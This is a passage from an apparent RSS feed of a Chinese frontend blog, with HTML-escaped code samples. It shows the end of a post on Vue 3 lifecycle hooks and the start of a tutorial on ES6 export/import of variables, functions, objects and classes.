&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;BEFORE_UPDATE&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;bu&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 更新之前
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;UPDATED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 更新
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;BEFORE_UNMOUNT&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;bum&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 卸载之前
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;UNMOUNTED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;um&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 卸载之后
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;DEACTIVATED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;da&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 被 keep-alive 缓存的组件停用时调用。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;ACTIVATED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 被 keep-alive 缓存的组件激活时调用。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;RENDER_TRIGGERED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;rtg&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 依赖被收集时调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;RENDER_TRACKED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;rtc&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 依赖被触发时调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;ERROR_CAPTURED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ec&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 错误捕获
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;SERVER_PREFETCH&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sp&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面生命周期可以用一张图来表示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/lifecycle/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="选项式和组合式生命周期的区别"&gt;选项式和组合式生命周期的区别&lt;/h2&gt;
&lt;p&gt;在Vue3中，我们可以使用选项式API和组合式API来定义组件。这两种API对应的生命周期钩子函数有一些区别。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;选项式API的生命周期钩子函数定义在组件选项对象的methods中，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; default {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  methods: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    created() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; something
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;组合式API的生命周期钩子函数定义在&lt;code&gt;setup&lt;/code&gt;函数中，需要使用&lt;code&gt;import&lt;/code&gt;从&lt;code&gt;vue&lt;/code&gt;中引入，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import { onMounted } from &lt;span style="color:#e6db74"&gt;&amp;#39;vue&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;​&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; default {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  setup() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    onMounted(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; something
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;需要注意的是，在组合式API中没有&lt;code&gt;beforecate&lt;/code&gt;和&lt;code&gt;created&lt;/code&gt;钩子，因为他们本身被&lt;code&gt;setup&lt;/code&gt;这个函数替代了，直接把相关逻辑写在&lt;code&gt;setup&lt;/code&gt;中就行了&lt;/p&gt;</description></item><item><title>export/import</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/export-import/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/export-import/</guid><description>&lt;h2 id="exportimport-是什么"&gt;export，import 是什么&lt;/h2&gt;
&lt;p&gt;我们知道，JS 模块导入导出，使用 &lt;code&gt;import&lt;/code&gt; , &lt;code&gt;export&lt;/code&gt; 这两个关键字&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;export&lt;/strong&gt; 用于对外输出本模块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;import&lt;/strong&gt; 用于导入模块&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是说使用 export 导出一个模块之后，其它文件就可以使用 import 导入相应的模块了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下面我们具体看看， import 和 export 到底怎么用？怎么导出模块（比如变量，函数，类，对象等）&lt;/p&gt;
&lt;h3 id="1-导出单个变量"&gt;1 导出单个变量&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//a.js 导出一个变量，语法如下
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;site&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;www.helloworld.net&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//b.js 中使用import 导入上面的变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;site&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/.a.js&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;//路径根据你的实际情况填写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;site&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//输出： www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-导出多个变量"&gt;2 导出多个变量&lt;/h3&gt;
&lt;p&gt;上面的例子是导出单个变量，那么如何导出多个变量呢&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//a.js 中定义两个变量，并导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;www.helloworld.net&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;helloworld开发者社区&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//将上面的变量导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt; ,&lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// b.js 中使用这两个变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt; , &lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/.a.js&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;//路径根据你的实际情况填写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//输出： www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//输出： helloworld开发者社区
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;### 3 导出函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;导出函数和导出变量一样，需要添加`&lt;/span&gt;{ }&lt;span style="color:#e6db74"&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;````js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//a.js 中定义并导出一个函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;function sum(a, b) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; return a + b
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//将函数sum导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;export { sum }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//b.js 中导入函数并使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;import { sum } from &amp;#34;/.a.js&amp;#34; //路径根据你的实际情况填写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;console.log( sum(4,6) ) //输出： 10
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;###&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;导出对象&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;js中一切皆对象&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;所以对象一定是可以导出的&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;并且有两种写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;####&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4.1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;第一种写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;使用&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`export default`&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;关键字导出&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;如下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;````&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//a.js 中，定义对象并导出, 注意，使用export default 这两个关键字导出一个对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;www.helloworld.net&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;helloworld开发者社区&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//b.js 中导入并使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./a.js&amp;#39;&lt;/span&gt; &lt;span style="color:#75715e"&gt;//路径根据你的实际情况填写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;siteUrl&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//输出：www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;siteName&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//输出：helloworld开发者社区
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;#### 4.2 第二种写法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;同样是使用`&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;&lt;span style="color:#e6db74"&gt;` 关键字，如下
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;````js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//a.js 中定义对象，并在最后导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;var obj = {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; siteUrl:&amp;#39;www.helloworld.net&amp;#39;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; siteName:&amp;#39;helloworld开发者社区&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;export default obj //导出对象obj
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//b.js 中导入并使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;import obj from &amp;#39;./a.js&amp;#39; //路径根据你的实际情况填写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;console.log(obj.siteUrl) //输出：www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;console.log(obj.siteName) //输出：helloworld开发者社区
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;###&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;导出类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;导出类与上面的导出对象类似&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;同样是用&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`export default`&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;关键字&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;同样有两种写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;####&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;第一种写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;````&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//a.js 中定义一个类并直接导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//类的属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;site&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;www.helloworld.net&amp;#34;&lt;/span&gt;
